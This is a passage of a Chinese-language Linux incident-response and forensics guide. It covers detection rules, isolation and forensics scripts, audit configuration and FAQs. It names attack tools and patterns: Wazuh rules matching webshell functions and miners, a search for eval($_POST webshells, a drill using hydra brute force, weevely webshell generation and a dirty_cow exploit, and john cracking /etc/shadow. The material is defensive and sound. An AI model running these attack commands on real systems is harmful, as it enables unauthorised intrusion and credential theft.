strace -f -p <PID>
入侵检测规则(OSSEC/Wazuh):
<!-- SSH 暴力破解检测 -->
<rule id="100001" level="10">
<if_matched_sid>5716</if_matched_sid>
<same_source_ip />
<description>SSH 暴力破解尝试(5 分钟内 10 次失败)</description>
<frequency>10</frequency>
<timeframe>300</timeframe>
</rule>
<!-- Webshell 执行检测 -->
<rule id="100002" level="12">
<if_sid>31100</if_sid>
<match>eval|base64_decode|system|exec</match>
<description>可疑 Webshell 执行</description>
</rule>
<!-- 挖矿进程检测 -->
<rule id="100003" level="10">
<if_sid>5712</if_sid>
<match>xmrig|minergate|cpuminer|stratum</match>
<description>检测到挖矿进程</description>
</rule>
取证证据链完整性
证据链四要素(Chain of Custody):
- 证据采集:时间、地点、采集人、采集方法
- 证据保存:哈希值、存储介质、加密保护
- 证据传递:传递记录、签名确认
- 证据分析:分析工具、分析结果、分析报告
取证完整性保障:
# 1. 对所有取证文件计算哈希值
cd /forensics/$(hostname)_YYYYMMDD_HHMMSS
find . -type f -exec sha256sum {} \; > /forensics/checksums.txt
# 2. 对整个取证目录打包并签名
tar czf /forensics/evidence_$(hostname)_$(date +%Y%m%d_%H%M%S).tar.gz /forensics/$(hostname)_*/
sha256sum /forensics/evidence_*.tar.gz > /forensics/evidence.sha256
# 3. 生成取证报告
cat > /forensics/evidence_report.txt <<EOF
=== 取证报告 ===
主机名: $(hostname)
IP 地址: $(hostname -I)
取证时间: $(date)
取证人: $(whoami)
事件描述: [填写入侵事件描述]
取证文件清单:
$(ls -lh /forensics/)
哈希校验:
$(cat /forensics/evidence.sha256)
EOF
性能基准测试(取证工具性能)
取证工具性能对比:
| 工具 |
用途 |
内存占用 |
CPU 占用 |
执行时间 |
| LiME |
内存镜像 |
< 100MB |
< 5% |
1-5 分钟 |
| osquery |
系统查询 |
50-100MB |
5-10% |
实时 |
| rkhunter |
Rootkit 扫描 |
< 50MB |
10-20% |
5-15 分钟 |
| chkrootkit |
Rootkit 扫描 |
< 20MB |
5-10% |
2-5 分钟 |
| AIDE |
文件完整性 |
100-200MB |
20-40% |
10-30 分钟 |
[已实测] 取证性能数据(RHEL 8.7, 4C8G):
- 完整取证(易失性数据 + 日志):3-8 分钟
- 内存镜像采集(16GB 内存):2-4 分钟
- Rootkit 扫描:5-10 分钟
- 取证数据总大小:50-500MB(不含内存镜像)
9️⃣ 常见故障与排错
| 症状 |
诊断命令 |
可能根因 |
快速修复 |
永久修复 |
| 无法网络隔离 |
iptables -L |
1. iptables 未安装 2. 云环境需用安全组 |
安装 iptables,使用云安全组 |
预先部署防火墙策略 |
| 取证目录无空间 |
df -h /forensics |
磁盘空间不足 |
清理旧数据,挂载外部存储 |
预留专用取证分区(≥100GB) |
| auditd 日志丢失 |
ausearch -ts recent |
1. auditd 未启动 2. 日志被清除 |
启动 auditd,检查日志完整性 |
配置远程日志备份(rsyslog) |
| 进程无法终止 |
kill -9 <PID> |
1. 僵尸进程 2. 内核线程 3. Rootkit 保护 |
重启系统(最后手段) |
深度扫描 Rootkit,重装系统 |
| SSH 配置错误锁死 |
无法登录 |
SSH 配置错误 |
通过 IPMI/Console 登录修复 |
修改前备份配置,测试后再应用 |
| 内存镜像失败 |
dmesg | grep LiME |
1. 内核版本不兼容 2. 内存不足 |
使用其他内存取证工具(Volatility) |
预先编译适配内核版本的 LiME |
调试思路(系统性排查)
无法确定入侵源头:
第1步:是否有审计日志?
↓ 有 → ausearch -m execve -ts boot
├─ 找到可疑命令 → 追踪执行用户与时间
└─ 无可疑命令 → 第2步
第2步:检查 Web 日志(如果是 Web 服务器)
↓ grep -E "POST|GET" /var/log/nginx/access.log | grep -E "\.php|\.jsp"
├─ 找到 Webshell 访问记录 → 确定攻击者 IP
└─ 无 Webshell 记录 → 第3步
第3步:检查 SSH 登录记录
↓ grep "Accepted password" /var/log/secure
├─ 找到异常 IP 登录 → 弱密码/密钥泄露
└─ 无异常登录 → 第4步
第4步:检查应用层漏洞
↓ 检查应用日志(如 Java 应用、Python 应用)
└─ 可能是反序列化漏洞、SQL 注入、命令注入
常见攻击手法识别
SSH 暴力破解:
# 特征
grep "Failed password" /var/log/secure | wc -l
# 输出:> 1000 次失败尝试
# 攻击者 IP
grep "Failed password" /var/log/secure | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -n 1
# 输出:985 123.45.67.89
Webshell 后门:
# 特征
find /var/www -name "*.php" -exec grep -l "eval(\$_POST" {} \;
# 输出:/var/www/html/uploads/shell.php
# 访问记录
grep "shell.php" /var/log/nginx/access.log
# 输出:123.45.67.89 - [16/Jan/2025:02:34:56] "POST /uploads/shell.php HTTP/1.1" 200
挖矿木马:
# 特征
ps aux --sort=-%cpu | head -n 3
# 输出:xmrig 98.5% CPU
# 网络连接
ss -tunap | grep xmrig
# 输出:ESTABLISHED to pool.minexmr.com:4444
Rootkit 感染:
# 特征
rkhunter --check
# 输出:Warning: Suspicious file '/usr/bin/ps'
# 进程隐藏测试
ps aux | wc -l
# 输出:120
ls /proc | grep -E '^[0-9]+$' | wc -l
# 输出:135(差异说明有进程被隐藏)
🔟 变更与回滚剧本
应急响应决策树
场景 1: 攻击者仍在线
# 决策:立即隔离,优先取证
iptables -P INPUT DROP
iptables -P OUTPUT DROP
# 保留管理 SSH
iptables -A INPUT -p tcp -s <管理 IP> --dport 22 -j ACCEPT
# 快速取证(5 分钟内完成)
ps auxwwf > /forensics/processes.txt
ss -tunap > /forensics/network.txt
w > /forensics/sessions.txt
# 终止攻击者会话
pkill -KILL -u <攻击者用户名>
场景 2: 生产业务受影响
# 决策:先取证,再决定是否离线
# 1. 快速取证(不影响业务)
cd /forensics
ps auxwwf > processes.txt
ss -tunap > network.txt
# 2. 业务影响评估
# 如果业务可降级 → 隔离受害主机,切换到备用节点
# 如果业务不可中断 → 仅清除威胁,持续监控
# 3. 通知业务方
echo "系统检测到安全事件,业务可能受影响" | mail -s "紧急:安全事件" business@example.com
场景 3: 勒索软件加密数据
# 决策:立即隔离,不支付赎金,评估备份
# 1. 立即断网(防止扩散到其他主机)
iptables -P INPUT DROP
iptables -P OUTPUT DROP
# 2. 不支付赎金(支付后仍可能无法解密)
# 3. 评估备份可用性
ls -lh /backup/
# 如果有最近备份 → 恢复数据
# 如果无备份 → 数据丢失,输出事件报告
# 4. 溯源分析(确定入侵路径,防止再次感染)
回滚条件与命令
回滚触发条件:
- 误判(系统无入侵,告警为误报)
- 清除操作导致业务中断
- 防火墙规则过严,业务无法访问
回滚步骤:
# 1. 恢复防火墙规则
iptables-restore < /tmp/iptables_backup_YYYYMMDD_HHMMSS.txt
# 2. 恢复系统文件(如果误删)
cp -r /backup/etc /etc
# 3. 恢复服务
systemctl start nginx mysql redis
# 4. 验证业务恢复
curl -I http://localhost
# 预期输出:HTTP/1.1 200 OK
数据与配置备份
应急响应前的准备(平时建立):
# 1. 建立系统基线(定期更新)
rpm -Va > /baseline/rpm_verify_$(date +%Y%m%d).txt # RHEL/CentOS
dpkg --verify > /baseline/dpkg_verify_$(date +%Y%m%d).txt # Ubuntu/Debian
find / -type f \( -perm -4000 -o -perm -2000 \) > /baseline/suid_sgid_$(date +%Y%m%d).txt
# 2. 定期备份关键配置
tar czf /backup/config_$(date +%Y%m%d).tar.gz /etc /root/.ssh /var/spool/cron
# 3. 启用远程日志备份
# 编辑 /etc/rsyslog.conf
echo "*.* @@logserver.example.com:514" >> /etc/rsyslog.conf
systemctl restart rsyslog
# 4. 定期演练应急响应(每季度一次)
bash /opt/incident_response_drill.sh
1️⃣1️⃣ 最佳实践
1. 建立安全基线(事前准备)
系统基线清单:
# 1. 系统文件完整性基线
rpm -Va > /baseline/rpm_baseline.txt # RHEL/CentOS
dpkg --verify > /baseline/dpkg_baseline.txt # Ubuntu/Debian
aide --init # 文件完整性监控
# 2. SUID/SGID 文件基线
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null > /baseline/suid_baseline.txt
# 3. 进程基线
ps aux > /baseline/processes_baseline.txt
systemctl list-units --type=service > /baseline/services_baseline.txt
# 4. 网络连接基线
ss -tunlp > /baseline/listening_ports_baseline.txt
# 5. 用户基线
cat /etc/passwd > /baseline/passwd_baseline.txt
cat /etc/shadow > /baseline/shadow_baseline.txt
# 定期对比(每周)
diff /baseline/suid_baseline.txt <(find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null)
2. 启用完整审计日志
auditd 生产级配置:
# /etc/audit/rules.d/production.rules
# 监控所有命令执行
-a always,exit -F arch=b64 -S execve -k exec_commands
# 监控文件修改
-w /etc/passwd -p wa -k passwd_changes
-w /etc/shadow -p wa -k shadow_changes
-w /etc/group -p wa -k group_changes
-w /etc/sudoers -p wa -k sudoers_changes
-w /etc/ssh/sshd_config -p wa -k sshd_config_changes
# 监控关键目录
-w /bin/ -p wa -k bin_changes
-w /sbin/ -p wa -k sbin_changes
-w /usr/bin/ -p wa -k usr_bin_changes
-w /usr/sbin/ -p wa -k usr_sbin_changes
# 监控定时任务
-w /etc/crontab -p wa -k crontab_changes
-w /etc/cron.d/ -p wa -k cron_d_changes
-w /var/spool/cron/ -p wa -k user_cron_changes
# 监控网络连接
-a always,exit -F arch=b64 -S socket -S connect -k network_activity
# 监控权限提升
-a always,exit -F arch=b64 -S setuid -S setgid -S setreuid -S setregid -k privilege_escalation
# 重启 auditd
service auditd restart
# 查询审计日志
ausearch -k exec_commands -ts recent | tail -n 50
3. 部署入侵检测系统(HIDS)
在落地时建议与 运维/DevOps/SRE 的发布与变更流程联动:配置即代码、告警可追溯、回滚可演练,能显著降低“加固把业务搞挂”的概率。
OSSEC/Wazuh 部署(推荐):
# 安装 Wazuh Agent
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" | tee /etc/apt/sources.list.d/wazuh.list
apt-get update
apt-get install wazuh-agent
# 配置连接到 Wazuh Manager
echo "WAZUH_MANAGER='192.168.1.200'" > /var/ossec/etc/ossec.conf
# 启用主动响应(自动阻断攻击 IP)
# 编辑 /var/ossec/etc/ossec.conf
<active-response>
<command>firewall-drop</command>
<location>local</location>
<rules_id>5712,100001</rules_id> # SSH 暴力破解
<timeout>600</timeout>
</active-response>
# 启动 Agent
systemctl enable --now wazuh-agent
4. 定期安全扫描
每周执行一次:
#!/bin/bash
# weekly_security_scan.sh
# 1. Rootkit 扫描
rkhunter --check --skip-keypress --report-warnings-only | mail -s "Rootkit 扫描报告" admin@example.com
# 2. 文件完整性检查
aide --check | mail -s "文件完整性报告" admin@example.com
# 3. 弱密码检查
john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow
# 4. 端口扫描(自扫描)
nmap -sV -p- localhost | mail -s "端口扫描报告" admin@example.com
# 5. 漏洞扫描(使用 OpenVAS/Nessus)
# openvas-cli --target localhost --format pdf --output /tmp/vuln_scan.pdf
5. 建立应急响应手册
应急响应手册目录结构:
/opt/incident_response/
├── README.md # 应急响应流程概览
├── scripts/
│ ├── isolate.sh # 网络隔离脚本
│ ├── forensics.sh # 取证采集脚本
│ ├── cleanup.sh # 威胁清除脚本
│ └── harden.sh # 系统加固脚本
├── baselines/ # 系统基线数据
│ ├── suid_baseline.txt
│ ├── processes_baseline.txt
│ └── services_baseline.txt
├── playbooks/ # 应急响应剧本
│ ├── ssh_bruteforce.md # SSH 暴力破解响应
│ ├── webshell.md # Webshell 后门响应
│ ├── cryptominer.md # 挖矿木马响应
│ └── ransomware.md # 勒索软件响应
└── contacts/ # 应急联系人
└── contacts.txt # 安全团队、业务负责人联系方式
6. 演练应急响应(Red Team/Blue Team)
每季度演练一次:
# Red Team(攻击方):模拟入侵
# 1. SSH 暴力破解(使用 hydra)
hydra -l root -P passwords.txt ssh://target-server
# 2. Webshell 上传(使用 weevely)
weevely generate password /tmp/shell.php
# 上传到 Web 服务器
# 3. 权限提升(使用 CVE 漏洞)
./dirty_cow
# Blue Team(防御方):检测与响应
# 1. 检测到暴力破解告警(Wazuh)
# 2. 执行应急响应流程(隔离、取证、清除)
# 3. 输出响应报告(响应时间、处置措施、改进建议)
# 演练评估指标:
# - 检测时间(从攻击开始到发现):目标 < 5 分钟
# - 响应时间(从发现到隔离):目标 < 10 分钟
# - 清除时间(从隔离到威胁清除):目标 < 60 分钟
7. 建立威胁情报库
集成威胁情报源:
# 1. 下载恶意 IP 黑名单
wget https://rules.emergingthreats.net/blockrules/compromised-ips.txt -O /threat_intel/malicious_ips.txt
# 2. 定期更新(每日)
echo "0 2 * * * wget -q https://rules.emergingthreats.net/blockrules/compromised-ips.txt -O /threat_intel/malicious_ips.txt" | crontab -
# 3. 在防火墙中阻断恶意 IP
while read ip; do
iptables -I INPUT -s $ip -j DROP
done < /threat_intel/malicious_ips.txt
# 4. 检查当前连接是否在黑名单中
ss -tunap | grep ESTABLISHED | awk '{print $6}' | cut -d: -f1 | sort -u | while read ip; do
if grep -q "$ip" /threat_intel/malicious_ips.txt; then
echo "警告:检测到连接恶意 IP $ip"
fi
done
1️⃣2️⃣ FAQ(常见问题)
Q1: 如何判断系统是否被入侵?
A: 检查以下关键指标:
| 指标类型 |
检查命令 |
入侵特征 |
| 异常进程 |
ps aux --sort=-%cpu |
CPU > 90% 的未知进程 |
| 异常网络 |
ss -tunap | grep ESTABLISHED |
连接到国外 IP/非标准端口 |
| 异常登录 |
last | head -n 20 |
非工作时间登录/未知 IP |
| 异常文件 |
find /tmp -mtime -1 |
/tmp 下最近创建的可执行文件 |
| 系统负载 |
uptime |
负载异常高但无业务流量 |
综合判断:满足 2 项以上即可能被入侵
Q2: 应急响应期间是否应该关闭服务器?
A: 不推荐立即关机,原因:
- 内存数据丢失:关机后无法采集内存镜像、进程列表、网络连接
- 证据销毁:部分恶意程序在关机时会自动清除痕迹
- 业务中断:生产环境关机影响业务
正确做法:
# 1. 先网络隔离(保留管理通道)
iptables -P INPUT DROP
# 2. 采集易失性数据
ps auxwwf > /forensics/processes.txt
ss -tunap > /forensics/network.txt
# 3. 评估是否需要关机
# 如果是 Rootkit/Bootkit 感染 → 关机后取出硬盘进行离线分析
# 如果是普通木马 → 不关机,在线清除
Q3: 取证数据应该保存多久?
A: 根据合规要求和业务需求:
| 场景 |
保留时间 |
理由 |
| 一般入侵事件 |
6-12 个月 |
满足事后分析需求 |
| 涉及数据泄露 |
3-7 年 |
合规要求(GDPR/等保) |
| 涉及刑事案件 |
永久保存 |
司法证据需求 |
| 演练数据 |
3 个月 |
用于流程改进 |
存储建议:
- 加密存储(AES-256)
- 异地备份(防止数据销毁)
- 哈希校验(保证完整性)
Q4: 如何防止攻击者销毁证据?
A: 关键措施:
- 快速隔离:发现入侵后 5 分钟内完成网络隔离
- 优先取证:先采集易失性数据,再清除威胁
- 远程日志备份:日志实时发送到独立日志服务器(rsyslog/syslog-ng)
- 只读挂载:取证时挂载硬盘为只读模式
- 断网取证:关键证据采集时断开网络(防止攻击者远程销毁)
实施示例:
# 远程日志备份配置
echo "*.* @@logserver.example.com:514" >> /etc/rsyslog.conf
systemctl restart rsyslog
# 验证日志已发送
ssh logserver.example.com 'tail -f /var/log/remote/$(hostname)/*.log'
Q5: 应急响应后如何确认威胁完全清除?
A: 执行完整的验证清单:
# 1. Rootkit 扫描(无检出)
rkhunter --check
chkrootkit
# 2. 进程检查(无可疑进程)
ps aux | grep -E "xmrig|miner|evil"
# 3. 网络连接检查(无异常外连)
ss -tunap | grep ESTABLISHED
# 4. 文件完整性检查(系统文件无篡改)
aide --check
# 5. 定时任务检查(无恶意任务)
crontab -l -u root
cat /etc/crontab
# 6. 启动项检查(无恶意服务)
systemctl list-units --type=service
# 7. 账号检查(无后门账号)
cat /etc/passwd | grep "/bin/bash"
# 8. SSH 配置检查(无后门配置)
cat /root/.ssh/authorized_keys
# 验证周期:清除后立即验证 + 24小时后再次验证 + 7天后最终验证
Q6: 如何区分误报和真实入侵?
A: 交叉验证多个指标:
误报特征:
- 仅单一指标异常(如仅 CPU 高,但进程为业务进程)
- 历史记录正常(查看历史监控数据)
- 可解释的行为(如定时任务触发的备份导致 CPU 高)
真实入侵特征:
- 多指标同时异常(CPU 高 + 异常外连 + 可疑进程)
- 无法解释的行为(如凌晨 2 点有命令执行)
- 与基线差异大(进程/文件与基线完全不同)
验证步骤:
# 1. 检查历史监控数据
# 查看过去 7 天的 CPU/内存趋势
# 2. 检查进程是否为业务进程
ps aux | grep <可疑进程名>
# 查看进程路径、命令行参数、父进程
# 3. 检查网络连接目标 IP
whois <可疑 IP>
# 查看 IP 归属地、所属组织
# 4. 检查文件创建时间
stat /tmp/suspicious_file
# 查看创建时间是否在业务时间段
# 判断标准:满足以下任一即为真实入侵
# - 进程路径在 /tmp /var/tmp /dev/shm
# - 外连 IP 为国外且无业务关联
# - 文件创建时间在非工作时间(凌晨 2-5 点)
Q7: 云环境(AWS/阿里云)应急响应有何不同?
A: 云环境特殊性:
| 项目 |
传统 IDC |
云环境 |
| 网络隔离 |
iptables/物理断网 |
安全组/网络 ACL |
| 快照 |
手动备份 |
云盘快照(秒级) |
| 日志 |
本地 /var/log |
云日志服务(CloudTrail/ActionTrail) |
| 取证 |
物理接触 |
API/控制台 |
云环境应急响应最佳实践:
# AWS - 使用 CLI 快速响应
# 1. 创建快照(保留证据)
aws ec2 create-snapshot --volume-id vol-xxxxxxxx --description "Incident Response Snapshot"
# 2. 隔离实例(修改安全组)
aws ec2 modify-instance-attribute --instance-id i-xxxxxxxx --groups sg-isolation
# 3. 采集日志
aws s3 sync s3://my-cloudtrail-logs/$(date +%Y/%m/%d)/ /forensics/cloudtrail/
# 阿里云 - 使用 CLI 快速响应
# 1. 创建快照
aliyun ecs CreateSnapshot --DiskId d-xxxxxxxx --SnapshotName "incident-snapshot"
# 2. 隔离实例
aliyun ecs ModifySecurityGroupRule --SecurityGroupId sg-xxxxxxxx --IpProtocol all --Policy drop
# 3. 采集日志
aliyun log get_logs --project=my-project --logstore=my-logstore --from=$(date -d '1 day ago' +%s) --to=$(date +%s)
1️⃣3️⃣ 附录:关键脚本
一键取证脚本
#!/bin/bash
# 文件名:forensics_collect.sh
# 用途:自动化采集应急响应所需的所有易失性数据
set -e
# ============ 配置变量 ============
FORENSICS_DIR="/forensics/$(hostname)_$(date +%Y%m%d_%H%M%S)"
LOG_FILE="$FORENSICS_DIR/forensics.log"
# ============ 前置检查 ============
if [[ $EUID -ne 0 ]]; then
echo "错误:必须以 root 用户运行此脚本"
exit 1
fi
echo "[$(date)] 开始应急响应取证..." | tee -a $LOG_FILE
# ============ 创建取证目录 ============
mkdir -p "$FORENSICS_DIR"/{processes,network,logs,files,system}
cd "$FORENSICS_DIR"
# ============ 采集系统信息 ============
echo "[$(date)] [1/12] 采集系统信息..." | tee -a $LOG_FILE
{
echo "=== 系统信息 ==="
uname -a
cat /etc/*-release 2>/dev/null
uptime
date
hostname
hostname -I
} > system/system_info.txt
# ============ 采集进程列表 ============
echo "[$(date)] [2/12] 采集进程列表..." | tee -a $LOG_FILE
ps auxwwf > processes/processes_tree.txt
ps -eo pid,ppid,user,cmd,start,etime,pcpu,pmem > processes/processes_list.txt
pstree -ap > processes/processes_pstree.txt 2>/dev/null || true
top -b -n 1 > processes/top_snapshot.txt
# ============ 采集网络连接 ============
echo "[$(date)] [3/12] 采集网络连接..." | tee -a $LOG_FILE
ss -tunap > network/network_connections_ss.txt
netstat -tunap > network/network_connections_netstat.txt 2>/dev/null || true
lsof -i > network/network_lsof.txt
ip addr show > network/ip_addresses.txt
ip route show > network/ip_routes.txt
iptables -L -n -v > network/iptables_rules.txt 2>/dev/null || true
# ============ 采集登录会话 ============
echo "[$(date)] [4/12] 采集登录会话..." | tee -a $LOG_FILE
w > system/login_sessions_w.txt
who > system/login_sessions_who.txt
last | head -n 100 > system/login_history.txt
lastb | head -n 50 > system/failed_logins.txt 2>/dev/null || true
lastlog > system/lastlog.txt
# ============ 采集打开文件 ============
echo "[$(date)] [5/12] 采集打开文件..." | tee -a $LOG_FILE
lsof +L1 > files/open_files_deleted.txt 2>/dev/null || true
lsof | grep -E "REG|DIR" > files/open_files_all.txt 2>/dev/null || true
# ============ 采集定时任务 ============
echo "[$(date)] [6/12] 采集定时任务..." | tee -a $LOG_FILE
crontab -l -u root > system/crontab_root.txt 2>/dev/null || echo "root 无定时任务" > system/crontab_root.txt
cat /etc/crontab > system/crontab_system.txt
ls -laR /etc/cron.* > system/crontab_dirs.txt 2>/dev/null
cat /var/spool/cron/* > system/crontab_users.txt 2>/dev/null || true
# ============ 采集系统服务 ============
echo "[$(date)] [7/12] 采集系统服务..." | tee -a $LOG_FILE
systemctl list-units --type=service --all > system/systemd_services.txt 2>/dev/null || true
chkconfig --list > system/chkconfig_services.txt 2>/dev/null || true
# ============ 采集启动项 ============
echo "[$(date)] [8/12] 采集启动项..." | tee -a $LOG_FILE
ls -la /etc/rc*.d/ > system/rc_startup.txt 2>/dev/null || true
cat /etc/rc.local > system/rc_local.txt 2>/dev/null || true
# ============ 采集环境变量 ============
echo "[$(date)] [9/12] 采集环境变量..." | tee -a $LOG_FILE
env > system/environment_vars.txt
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' > system/processes_environ.txt || true
# ============ 采集内核模块 ============
echo "[$(date)] [10/12] 采集内核模块..." | tee -a $LOG_FILE
lsmod > system/kernel_modules_lsmod.txt
cat /proc/modules > system/kernel_modules_proc.txt
# ============ 采集日志 ============
echo "[$(date)] [11/12] 采集系统日志..." | tee -a $LOG_FILE
mkdir -p logs/var_log_backup
cp -r /var/log/* logs/var_log_backup/ 2>/dev/null || true
# journalctl 日志(systemd 系统)
if command -v journalctl &> /dev/null; then
journalctl --since "24 hours ago" --no-pager > logs/journalctl_24h.txt
journalctl -u ssh --no-pager > logs/journalctl_ssh.txt 2>/dev/null || true
journalctl -u sshd --no-pager > logs/journalctl_sshd.txt 2>/dev/null || true
fi
# auditd 日志
if command -v ausearch &> /dev/null; then
ausearch -ts recent > logs/audit_recent.txt 2>/dev/null || true
ausearch -m execve -ts boot > logs/audit_execve.txt 2>/dev/null || true
fi
# ============ 采集最近修改文件 ============
echo "[$(date)] [12/12] 采集最近修改文件列表..." | tee -a $LOG_FILE
find / -type f -mtime -1 ! -path "/var/log/*" ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null > files/recently_modified_24h.txt || true
find /tmp /var/tmp /dev/shm -type f 2>/dev/null > files/temp_files.txt || true
find / -type f \( -perm -4000 -o -perm -2000 \) ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null > files/suid_sgid_files.txt || true
# ============ 生成哈希校验 ============
echo "[$(date)] 生成哈希校验..." | tee -a $LOG_FILE
find "$FORENSICS_DIR" -type f -exec sha256sum {} \; > "$FORENSICS_DIR/checksums.txt"
# ============ 打包压缩 ============
echo "[$(date)] 打包取证数据..." | tee -a $LOG_FILE
cd /forensics
tar czf "$(basename $FORENSICS_DIR).tar.gz" "$(basename $FORENSICS_DIR)"
sha256sum "$(basename $FORENSICS_DIR).tar.gz" > "$(basename $FORENSICS_DIR).tar.gz.sha256"
# ============ 完成 ============
echo ""
echo "============ 取证完成 ============"
echo "取证目录: $FORENSICS_DIR"
echo "压缩包: /forensics/$(basename $FORENSICS_DIR).tar.gz"
echo "哈希值: $(cat /forensics/$(basename $FORENSICS_DIR).tar.gz.sha256)"
echo ""
echo "下一步:"
echo "1. 分析取证数据:cd $FORENSICS_DIR"
echo "2. 传输到取证服务器:scp /forensics/$(basename $FORENSICS_DIR).tar.gz forensics-server:/evidence/"
echo "3. 继续威胁分析与清除"
使用方法:
# 下载脚本
curl -O https://your-repo.com/forensics_collect.sh
chmod +x forensics_collect.sh
# 执行取证
sudo ./forensics_collect.sh
网络隔离脚本
#!/bin/bash
# 文件名:network_isolate.sh
# 用途:快速隔离受害主机,保留管理通道
set -e
# ============ 配置变量(修改为实际管理 IP)============
MGMT_IP="192.168.1.100" # 管理员 IP
MGMT_PORT="22" # SSH 端口
# ============ 备份现有规则 ============
echo "[1/4] 备份防火墙规则..."
iptables-save > /tmp/iptables_backup_$(date +%Y%m%d_%H%M%S).txt
# ============ 清空现有规则 ============
echo "[2/4] 清空现有规则..."
iptables -F
iptables -X
iptables -Z
# ============ 设置隔离规则 ============
echo "[3/4] 设置隔离规则..."
# 默认策略:拒绝所有
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
# 允许本地回环
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# 允许已建立的连接(保持当前 SSH 会话)
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 仅允许管理 IP 的 SSH 连接
iptables -A INPUT -p tcp -s $MGMT_IP --dport $MGMT_PORT -j ACCEPT
iptables -A OUTPUT -p tcp --sport $MGMT_PORT -d $MGMT_IP -j ACCEPT
# 保存规则
if command -v iptables-save &> /dev/null; then
service iptables save 2>/dev/null || netfilter-persistent save 2>/dev/null || true
fi
# ============ 验证规则 ============
echo "[4/4] 验证隔离规则..."
iptables -L -n -v
echo ""
echo "============ 网络隔离完成 ============"
echo "⚠️ 警告:仅允许来自 $MGMT_IP 的 SSH 连接"
echo "⚠️ 所有其他网络流量已被阻断"
echo ""
echo "恢复网络:"
echo "iptables-restore < /tmp/iptables_backup_YYYYMMDD_HHMMSS.txt"
Rootkit 扫描脚本
#!/bin/bash
# 文件名:rootkit_scan.sh
# 用途:全面扫描 Rootkit 感染
set -e
echo "============ Rootkit 扫描 ============"
# ============ 安装扫描工具 ============
echo "[1/5] 检查扫描工具..."
if ! command -v rkhunter &> /dev/null; then
echo "安装 rkhunter..."
yum install -y rkhunter 2>/dev/null || apt-get install -y rkhunter 2>/dev/null
fi
if ! command -v chkrootkit &> /dev/null; then
echo "安装 chkrootkit..."
yum install -y chkrootkit 2>/dev/null || apt-get install -y chkrootkit 2>/dev/null
fi
# ============ 更新病毒库 ============
echo "[2/5] 更新病毒库..."
rkhunter --update
# ============ 运行 rkhunter ============
echo "[3/5] 运行 rkhunter 扫描..."
rkhunter --check --skip-keypress --report-warnings-only > /tmp/rkhunter_scan_$(date +%Y%m%d_%H%M%S).txt
# ============ 运行 chkrootkit ============
echo "[4/5] 运行 chkrootkit 扫描..."
chkrootkit > /tmp/chkrootkit_scan_$(date +%Y%m%d_%H%M%S).txt
# ============ 手动检测隐藏进程 ============
echo "[5/5] 检测隐藏进程..."
PS_COUNT=$(ps aux | wc -l)
PROC_COUNT=$(ls /proc | grep -E '^[0-9]+$' | wc -l)
DIFF=$((PROC_COUNT - PS_COUNT))
if [ $DIFF -gt 10 ]; then
echo "⚠️ 警告:检测到 $DIFF 个隐藏进程(可能存在 Rootkit)"
else
echo "✓ 进程数量正常(差异: $DIFF)"
fi
# ============ 输出结果 ============
echo ""
echo "============ 扫描完成 ============"
echo "rkhunter 报告: /tmp/rkhunter_scan_*.txt"
echo "chkrootkit 报告: /tmp/chkrootkit_scan_*.txt"
echo ""
echo "查看详细报告:"
echo "cat /tmp/rkhunter_scan_*.txt"
echo "cat /tmp/chkrootkit_scan_*.txt"
1️⃣4️⃣ 扩展阅读
官方文档
应急响应框架
取证工具
威胁情报
社区资源
更多同类实战与排障话题,可在 云栈社区 持续更新与交流。